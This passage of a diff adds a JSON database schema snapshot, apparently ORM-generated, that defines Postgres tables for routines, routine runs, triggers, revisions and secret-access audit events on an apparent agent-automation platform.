+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "restored_from_revision_id": {
+          "name": "restored_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_revisions_routine_revision_uq": {
+          "name": "routine_revisions_routine_revision_uq",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_routine_created_idx": {
+          "name": "routine_revisions_company_routine_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_responsible_user_idx": {
+          "name": "routine_revisions_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_revisions_company_id_companies_id_fk": {
+          "name": "routine_revisions_company_id_companies_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_routine_id_routines_id_fk": {
+          "name": "routine_revisions_routine_id_routines_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_restored_from_revision_id_routine_revisions_id_fk": {
+          "name": "routine_revisions_restored_from_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "restored_from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "routine_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "routine_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_runs": {
+      "name": "routine_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_id": {
+          "name": "trigger_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'received'"
+        },
+        "triggered_at": {
+          "name": "triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "routine_revision_id": {
+          "name": "routine_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_payload": {
+          "name": "trigger_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "dispatch_fingerprint": {
+          "name": "dispatch_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_issue_id": {
+          "name": "linked_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "coalesced_into_run_id": {
+          "name": "coalesced_into_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_runs_company_routine_idx": {
+          "name": "routine_runs_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_revision_idx": {
+          "name": "routine_runs_revision_idx",
+          "columns": [
+            {
+              "expression": "routine_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_company_responsible_user_idx": {
+          "name": "routine_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idx": {
+          "name": "routine_runs_trigger_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_dispatch_fingerprint_idx": {
+          "name": "routine_runs_dispatch_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "dispatch_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_linked_issue_idx": {
+          "name": "routine_runs_linked_issue_idx",
+          "columns": [
+            {
+              "expression": "linked_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idempotency_idx": {
+          "name": "routine_runs_trigger_idempotency_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_runs_company_id_companies_id_fk": {
+          "name": "routine_runs_company_id_companies_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_id_routines_id_fk": {
+          "name": "routine_runs_routine_id_routines_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_trigger_id_routine_triggers_id_fk": {
+          "name": "routine_runs_trigger_id_routine_triggers_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_triggers",
+          "columnsFrom": [
+            "trigger_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_revision_id_routine_revisions_id_fk": {
+          "name": "routine_runs_routine_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "routine_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_linked_issue_id_issues_id_fk": {
+          "name": "routine_runs_linked_issue_id_issues_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "linked_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_triggers": {
+      "name": "routine_triggers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "cron_expression": {
+          "name": "cron_expression",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timezone": {
+          "name": "timezone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_fired_at": {
+          "name": "last_fired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "public_id": {
+          "name": "public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signing_mode": {
+          "name": "signing_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "replay_window_sec": {
+          "name": "replay_window_sec",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_result": {
+          "name": "last_result",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_triggers_company_routine_idx": {
+          "name": "routine_triggers_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_company_kind_idx": {
+          "name": "routine_triggers_company_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_next_run_idx": {
+          "name": "routine_triggers_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_idx": {
+          "name": "routine_triggers_public_id_idx",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_uq": {
+          "name": "routine_triggers_public_id_uq",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_triggers_company_id_companies_id_fk": {
+          "name": "routine_triggers_company_id_companies_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_routine_id_routines_id_fk": {
+          "name": "routine_triggers_routine_id_routines_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_secret_id_company_secrets_id_fk": {
+          "name": "routine_triggers_secret_id_company_secrets_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_created_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_updated_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routines": {
+      "name": "routines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "concurrency_policy": {
+          "name": "concurrency_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'coalesce_if_active'"
+        },
+        "catch_up_policy": {
+          "name": "catch_up_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'skip_missed'"
+        },
+        "activity_gate_policy": {
+          "name": "activity_gate_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'always'"
+        },
+        "activity_gate_scope": {
+          "name": "activity_gate_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "variables": {
+          "name": "variables",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_enqueued_at": {
+          "name": "last_enqueued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routines_company_status_idx": {
+          "name": "routines_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_assignee_idx": {
+          "name": "routines_company_assignee_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_project_idx": {
+          "name": "routines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_folder_idx": {
+          "name": "routines_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_responsible_user_idx": {
+          "name": "routines_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_origin_idx": {
+          "name": "routines_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routines_company_id_companies_id_fk": {
+          "name": "routines_company_id_companies_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_project_id_projects_id_fk": {
+          "name": "routines_project_id_projects_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_folder_id_folders_id_fk": {
+          "name": "routines_folder_id_folders_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_goal_id_goals_id_fk": {
+          "name": "routines_goal_id_goals_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_parent_issue_id_issues_id_fk": {
+          "name": "routines_parent_issue_id_issues_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_assignee_agent_id_agents_id_fk": {
+          "name": "routines_assignee_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routines_created_by_agent_id_agents_id_fk": {
+          "name": "routines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_updated_by_agent_id_agents_id_fk": {
+          "name": "routines_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.secret_access_events": {
+      "name": "secret_access_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_scope": {
+          "name": "secret_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_owner_user_id": {
+          "name": "credential_owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_type": {
+          "name": "credential_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_id": {
+          "name": "credential_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consumer_type": {
+          "name": "consumer_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "consumer_id": {
+          "name": "consumer_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
